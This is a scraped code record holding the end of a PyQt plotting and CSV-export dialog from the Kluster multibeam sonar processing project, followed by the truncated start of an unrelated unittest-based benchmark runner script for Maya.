self.hlayout_five.addWidget(self.add_to_current_plot)\n        self.zero_center_plot = QtWidgets.QCheckBox('Center on zero', self)\n        self.zero_center_plot.setChecked(False)\n        self.zero_center_plot.hide()\n        self.hlayout_five.addWidget(self.zero_center_plot)\n\n        self.hlayout_four = QtWidgets.QHBoxLayout()\n        self.hlayout_four.addStretch()\n        self.plot_button = QtWidgets.QPushButton('Plot', self)\n        self.plot_button.setDisabled(True)\n        self.hlayout_four.addWidget(self.plot_button)\n        self.exportvar_button = QtWidgets.QPushButton(' Export Variable ', self)\n        self.exportvar_button.setDisabled(True)\n        self.hlayout_four.addWidget(self.exportvar_button)\n        self.exportsource_button = QtWidgets.QPushButton(' Export Source ', self)\n        self.exportsource_button.setDisabled(True)\n        self.hlayout_four.addWidget(self.exportsource_button)\n        self.hlayout_four.addStretch()\n\n        self.hlayout_six = QtWidgets.QHBoxLayout()\n        self.explanation = QtWidgets.QTextEdit('', self)\n        self.hlayout_six.addWidget(self.explanation)\n\n        layout.addWidget(self.data_widget)\n        layout.addWidget(self.hline)\n\n        self.vlayout_left.addLayout(self.hlayout_one)\n        self.vlayout_left.addLayout(self.hlayout_two)\n        self.vlayout_left.addLayout(self.hlayout_three)\n        self.vlayout_left.addLayout(self.hlayout_five)\n        self.vlayout_right.addLayout(self.hlayout_six)\n        self.hlayout_main.addLayout(self.vlayout_left)\n        self.hlayout_main.addLayout(self.vlayout_right)\n        layout.addLayout(self.hlayout_main)\n\n        layout.addLayout(self.hlayout_four)\n        self.setLayout(layout)\n\n        self.data_widget.fqpr_loaded.connect(self.new_fqpr_loaded)\n        self.data_widget.ping_count_changed.connect(self.new_ping_count)\n        self.dataset_dropdown.currentTextChanged.connect(self.load_variables)\n        self.variable_dropdown.currentTextChanged.connect(self.load_plot_types)\n        self.plottype_dropdown.currentTextChanged.connect(self.plot_type_selected)\n        self.plot_button.clicked.connect(self.plot)\n        self.exportvar_button.clicked.connect(self.export_variable)\n        self.exportsource_button.clicked.connect(self.export_source)\n\n    def print(self, msg: str, loglevel: int):\n        if self.parent() is not None:\n            self.parent().print(msg, loglevel)\n        else:\n            print(msg)\n\n    def debug_print(self, msg: str, loglevel: int):\n        if self.parent() is not None:\n            self.parent().debug_print(msg, loglevel)\n        else:\n            print(msg)\n\n    def new_fqpr_loaded(self, loaded: bool):\n        \"\"\"\n        If a new fqpr is loaded (fqpr = converted Kluster data store) load the datasets\n\n        Parameters\n        ----------\n        loaded\n            if True, self.fqpr is valid\n        \"\"\"\n\n        if loaded:\n            self.fqpr = self.data_widget.fqpr\n            self.load_datasets()\n        else:\n            self.fqpr = None\n            self.datasets = {}\n            self.dataset_dropdown.clear()\n            self.variable_dropdown.clear()\n            self.variable_dimone.setText('')\n            self.variable_dimtwo.setText('')\n            self.plottype_dropdown.clear()\n            self.plot_button.setDisabled(True)\n            self.exportsource_button.setDisabled(True)\n            self.exportvar_button.setDisabled(True)\n\n    def load_datasets(self):\n        \"\"\"\n        Build the lookup for the various kluster datasets and populate the dataset dropdown with the keys\n        \"\"\"\n        if self.fqpr is not None:\n            self.datasets = {}\n            if self.fqpr.multibeam.raw_ping:\n                self.datasets['multibeam'] = self.fqpr.multibeam.raw_ping\n                self.datasets['raw navigation'] = self.fqpr.multibeam.return_raw_navigation()\n                procnav = self.fqpr.sbet_navigation\n                if procnav is not None:\n                    self.datasets['processed navigation'] = procnav\n            else:\n                self.print('No multibeam dataset(s) found in {}'.format(self.fqpr.multibeam.converted_pth), logging.WARNING)\n\n            if self.fqpr.multibeam.raw_att:\n                self.datasets['attitude'] = self.fqpr.multibeam.raw_att\n            else:\n                self.print('No attitude dataset found in {}'.format(self.fqpr.multibeam.converted_pth), logging.WARNING)\n\n            if 'alongtrack' in self.fqpr.multibeam.raw_ping[0] or 'x' in self.fqpr.multibeam.raw_ping[0]:\n                self.datasets['custom'] = self.fqpr.plot\n            else:\n                self.print('No svcorrected/georeferenced variables found in {}'.format(self.fqpr.multibeam.converted_pth), logging.WARNING)\n\n            combo_items = list(self.datasets.keys())\n            self.dataset_dropdown.clear()\n            self.dataset_dropdown.addItems(combo_items)\n            self.dataset_dropdown.setCurrentIndex(0)\n\n    def reload_datasets(self):\n        \"\"\"\n        Triggered when self.fqpr is changed, we reload the datasets without the debug messaging just to keep it clean\n        \"\"\"\n\n        if self.fqpr is not None:\n            self.datasets = {}\n            if self.fqpr.multibeam.raw_ping:\n                self.datasets['multibeam'] = self.fqpr.multibeam.raw_ping\n                self.datasets['raw navigation'] = self.fqpr.multibeam.return_raw_navigation()\n                procnav = self.fqpr.sbet_navigation\n                if procnav is not None:\n                    self.datasets['processed navigation'] = procnav\n            if self.fqpr.multibeam.raw_att:\n                self.datasets['attitude'] = self.fqpr.multibeam.raw_att\n            if 'alongtrack' in self.fqpr.multibeam.raw_ping[0] or 'x' in self.fqpr.multibeam.raw_ping[0]:\n                self.datasets['custom'] = self.fqpr\n\n    def load_variables(self):\n        \"\"\"\n        Get the list of variables that are within the provided dataset\n        \"\"\"\n\n        if self.datasets:\n            ky = self.dataset_dropdown.currentText()\n            if ky:\n                dset = self.datasets[ky]\n                if ky in ['multibeam', 'raw navigation', 'processed navigation']:\n                    if ky == 'multibeam':\n                        dset = dset[0]  # grab the first multibeam dataset (dual head will have two) for the lookup\n                        variable_names = [nm for nm in list(dset.variables.keys()) if nm in self.variable_translator]\n                        variable_names = [vname for vname in variable_names if vname in kluster_variables.variables_by_key[ky]]\n                    else:\n                        variable_names = [nm for nm in list(dset.variables.keys()) if nm in self.variable_translator]\n                    variable_names = [self.variable_translator[nm] for nm in variable_names]\n                elif ky == 'custom':\n                    variable_names = ['uncertainty', 'backscatter', 'sound_velocity_profiles', 'sound_velocity_correct', 'georeferenced', 'animations']\n                else:\n                    variable_names = [nm for nm in list(dset.variables.keys()) if nm not in ['time', 'beam', 'xyz']]\n\n                self.variable_dropdown.clear()\n                self.variable_dropdown.addItems(sorted(variable_names))\n                self.variable_dropdown.setCurrentIndex(0)\n\n    def load_plot_types(self):\n        \"\"\"\n        Get the list of available plots for the provided variable/dataset\n        \"\"\"\n        if self.datasets:\n            self.data_widget.warning_message.setText('')\n            self.plottype_dropdown.clear()\n            ky = self.dataset_dropdown.currentText()\n            dset = self.datasets[ky]\n            vari = self.variable_dropdown.currentText()\n            if vari:\n                if ky == 'multibeam':\n                    dset = dset[0]  # grab the first multibeam dataset (dual head will have two) for the lookup\n                if ky in ['multibeam', 'raw navigation', 'processed navigation']:\n                    dset_var = self.variable_reverse_lookup[vari]\n                else:\n                    dset_var = vari\n                if dset_var:\n                    if ky == 'custom':\n                        self.variable_dimone.setText('time')\n                        self.variable_dimtwo.setText('beam')\n                        plottypes = self.custom_plot_lookup[vari]\n                        self.plottype_dropdown.addItems(plottypes)\n                        self.plottype_dropdown.setCurrentIndex(0)\n                        self.plot_button.setEnabled(True)\n                        self.exportvar_button.setEnabled(False)\n                        self.exportsource_button.setEnabled(False)\n                    elif dset[dset_var].ndim == 2:\n                        self.variable_dimone.setText(dset[dset_var].dims[0])\n                        self.variable_dimtwo.setText(dset[dset_var].dims[1])\n                        plottypes = self.plot_lookup[2]\n                        self.plottype_dropdown.addItems(plottypes)\n                        self.plottype_dropdown.setCurrentIndex(0)\n                        self.plot_button.setEnabled(True)\n                        self.exportvar_button.setEnabled(True)\n                        self.exportsource_button.setEnabled(True)\n                    elif dset[dset_var].ndim == 1:\n                        self.variable_dimone.setText(dset[dset_var].dims[0])\n                        self.variable_dimtwo.setText('None')\n                        plottypes = self.plot_lookup[1].copy()\n                        if dset_var in ['mode', 'modetwo', 'yawpitchstab']:\n                            plottypes.remove('Line')\n                        self.plottype_dropdown.addItems(plottypes)\n                        self.plottype_dropdown.setCurrentIndex(0)\n                        self.plot_button.setEnabled(True)\n                        self.exportvar_button.setEnabled(True)\n                        self.exportsource_button.setEnabled(True)\n                    else:\n                        self.variable_dimone.setText('None')\n                        self.variable_dimtwo.setText('None')\n                        self.data_widget.warning_message.setText('ERROR: only 2d and 1d vars allowed, found {}:{}d'.format(self.variable_dropdown.currentText(),\n                                                                                                                           dset[dset_var].ndim))\n\n    def plot_type_selected(self):\n        \"\"\"\n        We have some checks against ping count for some plot types.  Go ahead and get the current ping count and run\n        those checks.\n        \"\"\"\n        if self.datasets:\n            plottype = self.plottype_dropdown.currentText()\n            if plottype:\n                ping_count = int(self.data_widget.ping_count.text())\n                self.new_ping_count(ping_count)\n                self.refresh_explanation()\n                if plottype == 'Histogram':\n                    self.bincount_label.show()\n                    self.bincount.show()\n                else:\n                    self.bincount_label.hide()\n                    self.bincount.hide()\n                if plottype[0:4] == 'Line':\n                    self.zero_center_plot.show()\n                else:\n                    self.zero_center_plot.hide()\n\n    def new_ping_count(self, ping_count: int):\n        \"\"\"\n        We check some plottypes to ensure the number of pings provided makes sense\n\n        Parameters\n        ----------\n        ping_count\n            total number of pings that we plan on plotting\n        \"\"\"\n\n        if self.datasets:\n            plottype = self.plottype_dropdown.currentText()\n            if plottype:\n                if plottype in ['3d scatter, color by depth', '3d scatter, color by sector'] and ping_count > 100:\n                    self.data_widget.warning_message.setText('Warning: 3d scatter will be very slow with greater than 100 pings')\n                elif plottype in ['2d scatter, color by depth', '2d scatter, color by sector'] and ping_count > 500:\n                    self.data_widget.warning_message.setText('Warning: 2d scatter will be very slow with greater than 500 pings')\n                else:\n                    self.data_widget.warning_message.setText('')\n\n    def _plot_variable(self, dataset, dataset_name, variable, plottype, sonartype, serialnum):\n        \"\"\"\n        Method for plotting the various variables.\n\n        Parameters\n        ----------\n        dataset\n            the base object for plotting, either an xarray Dataset or a Fqpr object (for dataset_name == 'custom')\n        dataset_name\n            the base name, 'multibeam', 'attitude', etc.\n        variable\n            the variable name, 'beampointingangle', etc.\n        plottype\n            the plot type, 'Line', 'Histogram', etc.\n        sonartype\n            the sonar type, 'em2040', etc.\n        serialnum\n            the serial number of this sonar, '389', etc.\n        \"\"\"\n\n        try:\n            translated_var = self.variable_translator[variable]\n        except:\n            translated_var = variable\n\n        if not self.add_to_current_plot.isChecked() and dataset_name != 'custom':\n            if isinstance(dataset, list) and len(dataset) > 1:  # dual head\n                fig, self.recent_plot = plt.subplots(ncols=2)\n                fig.suptitle('{}: {} Plot of {}'.format(sonartype[0], plottype, translated_var))\n            else:\n                fig = plt.figure()\n                self.recent_plot = [plt.subplot()]\n\n        if not isinstance(dataset, list):\n            dataset = [dataset]\n        custom_vartype = None\n        for cnt, dset in enumerate(dataset):\n            if variable == 'corr_pointing_angle':\n                data = np.rad2deg(dset[variable])\n            elif dataset_name == 'custom':\n                data = dset\n                if variable == 'georeferenced':\n                    custom_vartype = 'georef'\n                else:\n                    custom_vartype = 'svcorr'\n            else:\n                data = dset[variable]\n            if variable == 'geohash':  # geohash is a beam-wise string, need an integer for these plot methods to work\n                _, u_inv = np.unique(data, return_inverse=True)\n                data.load()[:] = u_inv.reshape(data.shape)\n                data = data.astype(np.int16)\n\n            identifier = '{} {}'.format(dataset_name, translated_var)\n            if plottype == 'Line':\n                if self.zero_center_plot.isChecked():\n                    (data - data.mean()).plot.line(ax=self.recent_plot[cnt], label=identifier)\n                else:\n                    data.plot.line(ax=self.recent_plot[cnt], label=identifier)\n            elif plottype == 'Line - Mean':\n                newdata = data.mean(axis=1)\n                if self.zero_center_plot.isChecked():\n                    (newdata - newdata.mean()).plot.line(ax=self.recent_plot[cnt], label=identifier + ' (mean)')\n                else:\n                    newdata.plot.line(ax=self.recent_plot[cnt], label=identifier + ' (mean)')\n            elif plottype == 'Line - Nadir':\n                nadir_beam_num = int((data.beam.shape[0] / 2) - 1)\n                newdata = data.isel(beam=nadir_beam_num)\n                if self.zero_center_plot.isChecked():\n                    (newdata - newdata.mean()).plot.line(ax=self.recent_plot[cnt], label=identifier + ' (nadir)')\n                else:\n                    newdata.plot.line(ax=self.recent_plot[cnt], label=identifier + ' (nadir)')\n            elif plottype == 'Line - Port Outer Beam':\n                newdata = data.isel(beam=0)\n                if self.zero_center_plot.isChecked():\n                    (newdata - newdata.mean()).plot.line(ax=self.recent_plot[cnt], label=identifier + ' (port outer)')\n                else:\n                    newdata.plot.line(ax=self.recent_plot[cnt], label=identifier + ' (port outer)')\n            elif plottype == 'Line - Starboard Outer Beam':\n                idxs = []\n                for vdbms in data.values:\n                    for vcnt, vdbm in enumerate(vdbms[::-1]):\n                        if not (np.isnan(vdbm) or vdbm == 0):  # this is an attempt to ensure the last beam in the ping is valid (some sonar vary in beams, so you get empty values in the square array)\n                            idxs += [len(vdbms) - (vcnt + 1)]\n                            break\n                        elif vcnt == len(vdbms) - 1:  # no valid values for the ping\n                            idxs += [0]\n\n                last_beam_num = int((data.beam.shape[0]) - 1)\n                newdata = data.isel(beam=last_beam_num)\n                # overwrite with our fixed last beam values\n                newdata[:] = data.values[np.arange(data.shape[0]), idxs]\n                if self.zero_center_plot.isChecked():\n                    (newdata - newdata.mean()).plot.line(ax=self.recent_plot[cnt], label=identifier + ' (stbd outer)')\n                else:\n                    newdata.plot.line(ax=self.recent_plot[cnt], label=identifier + ' (stbd outer)')\n            elif plottype == 'Histogram':\n                bincount = int(self.bincount.text())\n                data.plot.hist(ax=self.recent_plot[cnt], bins=bincount, label=identifier)\n            elif plottype == 'Scatter':\n                dset.plot.scatter('time', variable, ax=self.recent_plot[cnt], label=identifier)\n            elif plottype == 'Image':\n                data.plot.imshow(ax=self.recent_plot[cnt], label=identifier)\n            elif plottype == 'Contour':\n                data.plot.contourf(ax=self.recent_plot[cnt])\n\n            elif plottype == '2d scatter, color by depth':\n                data.plot.soundings_plot_2d(custom_vartype, color_by='depth')\n            elif plottype == '2d scatter, color by sector':\n                data.plot.soundings_plot_2d(custom_vartype, color_by='sector')\n            elif plottype == '3d scatter, color by depth':\n                data.plot.soundings_plot_3d(custom_vartype, color_by='depth')\n            elif plottype == '3d scatter, color by sector':\n                data.plot.soundings_plot_3d(custom_vartype, color_by='sector')\n            elif plottype == 'Uncorrected Beam Vectors':\n                data.plot.visualize_beam_pointing_vectors(False)\n            elif plottype == 'Corrected Beam Vectors':\n                data.plot.visualize_beam_pointing_vectors(True)\n            elif plottype == 'Vessel Orientation':\n                data.plot.visualize_orientation_vector()\n            elif plottype == 'Profile Map':\n                data.plot.plot_sound_velocity_map()\n            elif plottype == 'Plot Profiles':\n                data.plot.plot_sound_velocity_profiles()\n            elif plottype == 'Surface SV Comparison':\n                data.plot.plot_surface_sv_vs_profiles()\n            elif plottype == 'Vertical Sample':\n                data.plot.plot_tvu_sample()\n            elif plottype == 'Horizontal Sample':\n                data.plot.plot_thu_sample()\n            elif plottype == 'Backscatter Sample':\n                data.plot.plot_backscatter_sample()\n\n            if dataset_name != 'custom' and plottype not in ['Image', 'Contour']:\n                self.recent_plot[cnt].legend()\n\n        if not self.add_to_current_plot.isChecked() and plottype not in ['Vertical Sample', 'Horizontal Sample', 'Backscatter Sample']:\n            # a new plot was made, here we set the title based on the options provided\n            # Sample plots only show a premade image, they do not make plots\n            if dataset_name != 'custom' and len(self.recent_plot) == 2:\n                self.recent_plot[0].set_title('Port-{}'.format(serialnum[0]))\n                self.recent_plot[1].set_title('Starboard-{}'.format(serialnum[1]))\n            else:\n                plt.title('{} (SN{}): {} Plot of {}'.format(sonartype, serialnum, plottype, translated_var))\n            # set always on top\n            plt.gcf().canvas.manager.window.setWindowFlags(self.windowFlags() | QtCore.Qt.WindowStaysOnTopHint)\n            plt.gcf().canvas.manager.window.show()\n        else:  # adding to an existing plot, we need to update the plot to get a redraw\n            plt.gcf().canvas.draw()\n            plt.gcf().canvas.flush_events()\n\n    def plot(self):\n        \"\"\"\n        Build out the data that we plan to plot\n        \"\"\"\n        if self.datasets:\n            min_max = self.data_widget.return_trim_times()\n            if min_max:\n                err = self.fqpr.subset_by_time(min_max[0], min_max[1])\n                if err:\n                    self.data_widget.warning_message.setText('ERROR: no data in times {}-{}'.format(min_max[0], min_max[1]))\n                    return\n            self.reload_datasets()\n            ky = self.dataset_dropdown.currentText()\n            plottype = self.plottype_dropdown.currentText()\n            dsets = self.datasets[ky]\n            dset_name = ky\n            if plottype == 'Histogram':\n                try:\n                    bincount = int(self.bincount.text())\n                except:\n                    self.data_widget.warning_message.setText('Bins must be an integer, user entered \"{}\"'.format(self.bincount.text()))\n                    return\n\n            if ky in ['multibeam', 'raw navigation', 'processed navigation']:\n                dset_var = self.variable_reverse_lookup[self.variable_dropdown.currentText()]\n            else:\n                dset_var = self.variable_dropdown.currentText()\n\n            if ky == 'multibeam':\n                if len(dsets) > 1:\n                    sonartype = [d.sonartype for d in dsets]\n                    serialnum = [d.system_identifier for d in dsets]\n                else:\n                    sonartype = dsets[0].sonartype\n                    serialnum = dsets[0].system_identifier\n                self._plot_variable(dsets, dset_name, dset_var, plottype, sonartype, serialnum)\n            else:\n                sonartype = self.datasets['multibeam'][0].sonartype\n                serialnum = self.datasets['multibeam'][0].system_identifier\n                self._plot_variable(dsets, dset_name, dset_var, plottype, sonartype, serialnum)\n            if min_max:\n                self.fqpr.restore_subset()\n\n    def export_variable(self):\n        \"\"\"\n        Export the currently selected dataset/variable to csv\n        \"\"\"\n\n        if self.datasets:\n            ky = self.dataset_dropdown.currentText()\n            plottype = self.plottype_dropdown.currentText()\n            reduce_method = None\n            zero_centered = False\n\n            try:\n                dvar = self.variable_reverse_lookup[self.variable_dropdown.currentText()]\n            except:\n                dvar = self.variable_dropdown.currentText()\n            defvalue = os.path.join(self.fqpr.output_folder, 'export_{}_{}.csv'.format(ky, dvar))\n            if plottype[0:4] == 'Line':\n                zero_centered = self.zero_center_plot.isChecked()\n                if plottype.find('Mean') != -1:\n                    reduce_method = 'mean'\n                    defvalue = os.path.splitext(defvalue)[0] + '_mean.csv'\n                elif plottype.find('Nadir') != -1:\n                    reduce_method = 'nadir'\n                    defvalue = os.path.splitext(defvalue)[0] + '_nadir.csv'\n                elif plottype.find('Port') != -1:\n                    reduce_method = 'port_outer_beam'\n                    defvalue = os.path.splitext(defvalue)[0] + '_portbeam.csv'\n                elif plottype.find('Starboard') != -1:\n                    reduce_method = 'starboard_outer_beam'\n                    defvalue = os.path.splitext(defvalue)[0] + '_stbdbeam.csv'\n            if zero_centered:\n                defvalue = os.path.splitext(defvalue)[0] + '_zerocentered.csv'\n\n            msg, output_pth = RegistryHelpers.GetFilenameFromUserQT(self, RegistryKey='Kluster', DefaultVal=self.fqpr.output_folder, fFilter=\"csv files | *.csv\",\n                                                                    DefaultFile=defvalue, Title='Output dataset path for csv export', AppName='\\\\reghelp')\n            if output_pth:\n                min_max = self.data_widget.return_trim_times()\n                if min_max:\n                    err = self.fqpr.subset_by_time(min_max[0], min_max[1])\n                    if err:\n                        self.data_widget.warning_message.setText('ERROR: no data in times {}-{}'.format(min_max[0], min_max[1]))\n                        return\n                self.reload_datasets()\n                self.fqpr.export_variable(ky, dvar, output_pth, reduce_method=reduce_method, zero_centered=zero_centered)\n                if min_max:\n                    self.fqpr.restore_subset()\n\n    def export_source(self):\n        \"\"\"\n        Export the currently selected dataset to csv\n        \"\"\"\n        if self.datasets:\n            ky = self.dataset_dropdown.currentText()\n            defvalue = os.path.join(self.fqpr.output_folder, 'export_{}.csv'.format(ky))\n            msg, output_pth = RegistryHelpers.GetFilenameFromUserQT(self, RegistryKey='Kluster',\n                                                                    DefaultVal=self.fqpr.output_folder,\n                                                                    fFilter=\"csv files | *.csv\",\n                                                                    DefaultFile=defvalue,\n                                                                    Title='Output dataset path for csv export',\n                                                                    AppName='\\\\reghelp')\n            if output_pth:\n                min_max = self.data_widget.return_trim_times()\n                if min_max:\n                    err = self.fqpr.subset_by_time(min_max[0], min_max[1])\n                    if err:\n                        self.data_widget.warning_message.setText('ERROR: no data in times {}-{}'.format(min_max[0], min_max[1]))\n                        return\n                self.reload_datasets()\n                self.fqpr.export_dataset(ky, output_pth)\n                if min_max:\n                    self.fqpr.restore_subset()\n\n    def refresh_explanation(self):\n        \"\"\"\n        Update the help text control (self.explanation) with an explanation of what the plot is, based on the\n        set source/variable/plottype control.\n        \"\"\"\n        source = self.dataset_dropdown.currentText()\n        variable = self.variable_dropdown.currentText()\n        plottype = self.plottype_dropdown.currentText()\n        source_expl = ''\n        variable_expl = ''\n        plot_expl = ''\n\n        if source == 'multibeam' or source == 'processed navigation' or source == 'raw navigation':\n            source_expl = 'Source = From the {} data, or from the Kluster processed intermediate variables.'.format(source)\n            if kluster_variables.variable_reverse_lookup[variable] in kluster_variables.variable_descriptions:\n                variable_expl = 'Variable = {}'.format(kluster_variables.variable_descriptions[kluster_variables.variable_reverse_lookup[variable]])\n            else:\n                variable_expl = 'Variable = Description not found'\n        elif source == 'attitude':\n            source_expl = 'Source = Attitude from the raw multibeam file.'\n            if variable == 'heading':\n                variable_expl = 'Variable = From the raw multibeam data, the logged heading data from the attitude system in degrees.  Relative to true north in navigation reference frame'\n            elif variable == 'heave':\n                variable_expl = 'Variable = From the raw multibeam data, the logged heave data from the attitude system in meters.  Short period vertical motion of vessel'\n            elif variable == 'pitch':\n                variable_expl = 'Variable = From the raw multibeam data, the logged pitch data from the attitude system in degrees.  Rotation of vessel (up and down) about the Y axis (transverse axis)'\n            elif variable == 'roll':\n                variable_expl = 'Variable = From the raw multibeam data, the logged roll data from the attitude system in degrees.  Rotation of vessel (left to right) about the X axis (longitudinal axis)'\n        elif source == 'custom':\n            source_expl = 'Source = Custom Kluster plots from all converted and processed data'\n            if variable == 'georeferenced':\n                variable_expl = 'Variable = From the Kluster processed georeferenced northing/easting/depth'\n            elif variable == 'sound_velocity_correct':\n                variable_expl = 'Variable = From the Kluster processed sound velocity corrected alongtrack offset/acrosstrack offset/depth offset'\n            elif variable == 'sound_velocity_profiles':\n                variable_expl = 'Variable = Build plots from the imported sound velocity profiles (casts), including those in the raw multibeam data.'\n            elif variable == 'animations':\n                variable_expl = 'Variable = Build custom animations from the Kluster processed data'\n            elif variable == 'uncertainty':\n                variable_expl = 'Variable = Display images generated on running the calculate total uncertainty process'\n            elif variable == 'backscatter':\n                variable_expl = 'Variable = Display images generated on running process backscatter/mosaic'\n        if plottype == 'Line':\n            plot_expl = 'Plot = Line plot connecting the points in the variable, will connect points across gaps in data.  Use scatter to see the gaps.'\n        elif plottype == 'Line - Mean':\n            plot_expl = 'Plot = Line plot of the average value for this variable for each ping'\n        elif plottype == 'Line - Nadir':\n            plot_expl = 'Plot = Line plot of the Nadir beam (center beam) for this variable'\n        elif plottype == 'Line - Port Outer Beam':\n            plot_expl = 'Plot = Line plot of the first beam (port outer beam) for this variable'\n        elif plottype == 'Line - Starboard Outer Beam':\n            plot_expl = 'Plot = Line plot of the last beam (starboard outer beam) for this variable'\n        elif plottype == 'Histogram':\n            plot_expl = 'Plot = Bar plot grouping the data into bins, the number of which is set by the user.'\n        elif plottype == 'Scatter':\n            plot_expl = 'Plot = Plot all the points in the variable.'\n        elif plottype == 'Image':\n            plot_expl = 'Plot = Build a linearly interpolated image of the 2d variable using matplotlib imshow, provides a fast view of the data'\n        elif plottype == 'Contour':\n            plot_expl = 'Plot = Plot the filled in contours of the data'\n        elif plottype == '2d scatter, color by depth':\n            plot_expl = 'Plot = Overhead view of the variable points, colored by depth'\n        elif plottype == '2d scatter, color by sector':\n            plot_expl = 'Plot = Overhead view of the variable points, colored by the sector each beam belongs to'\n        elif plottype == '3d scatter, color by depth':\n            plot_expl = 'Plot = 3d scatter plot of variable, colored by depth'\n        elif plottype == '3d scatter, color by sector':\n            plot_expl = 'Plot = 3d scatter plot of variable, colored by the sector each beam belongs to'\n        elif plottype == 'Uncorrected Beam Vectors':\n            plot_expl = 'Plot = Animation of uncorrected beam angles versus traveltime, will show the effects of attitude and mounting angles.'\n        elif plottype == 'Corrected Beam Vectors':\n            plot_expl = 'Plot = Animation of corrected beam angles versus traveltime, corrected for attitude and mounting angles.'\n        elif plottype == 'Vessel Orientation':\n            plot_expl = 'Plot = Animation of Vessel Orientation, corrected for attitude and mounting angles.  TX vector represents the transmitter, RX vector represents the receiver.'\n        elif plottype == 'Plot Profiles':\n            plot_expl = 'Plot = Plot of depth versus sound velocity values in each sound velocity profile.  All profiles from Kongsberg multibeam have been extended to 12000 meters.  Zoom in to see the shallow values.  Shows all casts regardless of specified time range'\n        elif plottype == 'Surface SV Comparison':\n            plot_expl = 'Plot = Plot of surface sound velocity vs the profile sound velocity value at transducer depth.  All profiles from Kongsberg multibeam have been extended to 12000 meters.  Zoom in to see the shallow values.  Shows all casts regardless of specified time range'\n        elif plottype == 'Profile Map':\n            plot_expl = 'Plot = Plot all lines within the specified time range and all sound velocity profiles.  Casts from multibeam have a position equal to the position of the vessel at the time of the cast.'\n        elif plottype == 'Vertical Sample':\n            plot_expl = 'Plot = Each successful calculate TPU process will generate a tvu (total vertical uncertainty) sample image.  This is the average tvu across the ping for the first 1000 pings.\\n\\n' + \\\n                        'sounder_vertical - vertical uncertainty taken from the raw multibeam data\\n' + \\\n                        'roll - roll uncertainty using (SBET roll error or Roll Sensor Error) and Roll Patch Error\\n' + \\\n                        'refraction - sound speed error effects on range/angle, using Surface SV Error\\n' + \\\n                        'down_position - vertical positioning error, using SBET down position error or Vertical Positioning Error\\n' + \\\n                        'separation_model - if NOAA_MLLW/NOAA_MHW is used, this is the VDatum uncertainty associated with the gridded transformation\\n' + \\\n                        'heave - Heave Error applied directly, assuming you are using a non-ERS vertical datum\\n' + \\\n                        'beamangle - error related to the Beam Opening Angle\\n' + \\\n                        'waterline - Waterline Error applied directly, assuming you are using a non-ERS vertical datum\\n' + \\\n                        'total_vertical_uncertainty - total vertical propagated uncertainty generated from all the above elements, where applicable'\n        elif plottype == 'Horizontal Sample':\n            plot_expl = 'Plot = Each successful calculate TPU process will generate a thu (total horizontal uncertainty) sample image.  This is the average thu across the ping for the first 1000 pings.\\n\\n' + \\\n                        'sounder_horizontal - horizontal uncertainty taken from the raw multibeam data\\n' + \\\n                        'distance_rms - radial positioning error using either SBET north/east position error or Horizontal Positioning Error\\n' + \\\n                        'antenna_lever_arm - horizontal error related to the antenna/reference point lever arm, using either SBET Sensor error or Roll/Pitch/Yaw Sensor Error\\n' + \\\n                        'total_horizontal_uncertainty - total horizontal propagated uncertainty generated from all the above elements, where applicable'\n        elif plottype == 'Backscatter Sample':\n            plot_expl = 'Plot = Each successful backscatter process will generate a backscatter sample image.  This is the different backscatter components for the first ping.\\n\\n' + \\\n                        'See the \"backscatter_settings\" in the Attribution window for the converted data to learn more about each of these components.'\n\n        if plot_expl and variable_expl and source_expl:\n            self.explanation.setText('{}\\n\\n{}\\n\\n{}'.format(source_expl, variable_expl, plot_expl))\n        else:\n            self.explanation.setText('')\n\n\nif __name__ == '__main__':\n    try:  # pyside2\n        app = QtWidgets.QApplication()\n    except TypeError:  # pyqt5\n        app = QtWidgets.QApplication([])\n    dlog = BasicPlotDialog()\n    dlog.show()\n    app.exec_()\n","repo_name":"noaa-ocs-hydrography/kluster","sub_path":"HSTB/kluster/gui/dialog_basicplot.py","file_name":"dialog_basicplot.py","file_ext":"py","file_size_in_byte":40682,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"3"}
+{"seq_id":"17844669709","text":"#!/usr/bin/env mayapy\n\nimport argparse\nimport bisect\nimport collections\nimport os\nimport sys\nimport timeit\nimport unittest\n\n\n_clock = timeit.default_timer\n\n\n# Usage's syntax based on docopt.\n_USAGE = \"%(prog)s [<name>...]\"\n_DESCRIPTION = (\n    \"Runs the benchmarks that have their name containing either one of the \"\n    \"'name' arguments passed. If no 'name' argument is passed, all the \"\n    \"benchmarks are run.\"\n)\n\n\n# Enumerator for the internal messages.\n_MESSAGE_SUITE_SETUP = 0\n_MESSAGE_SUITE_TEARDOWN = 1\n\n\n_Message = collections.namedtuple(\n    '_Message', (\n        'type',\n        'value',\n    )\n)\n\n\nclass DummyResult(object):\n\n    def wasSuccessful(self):\n        return True\n\n\nclass BenchLoader(unittest.TestLoader):\n    testMethodPrefix = 'bench'\n\n\nclass BenchRunner(object):\n\n    def run(self, bench):\n        stack = collections.deque((bench,))\n        while stack:\n            obj = stack.popleft()\n            if isinstance(obj, _Message):\n                if obj.type == _MESSAGE_SUITE_SETUP:\n                    obj.value.setUpClass()\n                elif obj.type == _MESSAGE_SUITE_TEARDOWN:\n                    obj.value.tearDownClass()\n            elif isinstance(obj, unittest.TestSuite):\n                suites = [suite for suite in obj\n                          if isinstance(suite, unittest.TestSuite)]\n                cases = [case for case in obj\n                         if not isinstance(case, unittest.TestSuite)]\n\n                stack.extend(suites)\n\n                seen = set()\n                classes = [type(case) for case in cases\n                           if type(case) not in seen\n                           and seen.add(type(case)) is None]\n                for cls in classes:\n                    stack.append(_Message(type=_MESSAGE_SUITE_SETUP,\n                                          value=cls))\n                    stack.extend(case for case in cases\n                                 if type(case) is cls)\n                    stack.append(_Message(type=_MESSAGE_SUITE_TEARDOWN,\n                                          value=cls))\n            else:\n                function = getattr(obj, _getBenchName(obj))\n\n                obj.setUp()\n                start = _clock()\n                function()\n                elapsed = _clock() - start\n                obj.tearDown()\n\n                elapsed, unit = _pickTimeUnit(elapsed)\n                print(\"%s (%s.%s) ... %.3f %s\"\n                      % (_getBenchName(obj), type(obj).__module__,\n                         type(obj).__name__, elapsed, unit))\n\n        return DummyResult()\n\n\ndef _pickTimeUnit(value):\n    bounds = (1e-9, 1e-6, 1e-3)\n    units = 'num'\n    if value >= 1.0:\n        out = (value, 's')\n    elif value <= bounds[0] * 1e-3:\n        out = (0.0, '%ss' % (units[0],))\n    else:\n        i = max(0, bisect.bisect(bounds, value) - 1)\n        out = (value / bounds[i], '%ss' % (units[i],))\n\n    return out\n\n\ndef _findBenchs(path, selectors=None):\n    if selectors is None:\n        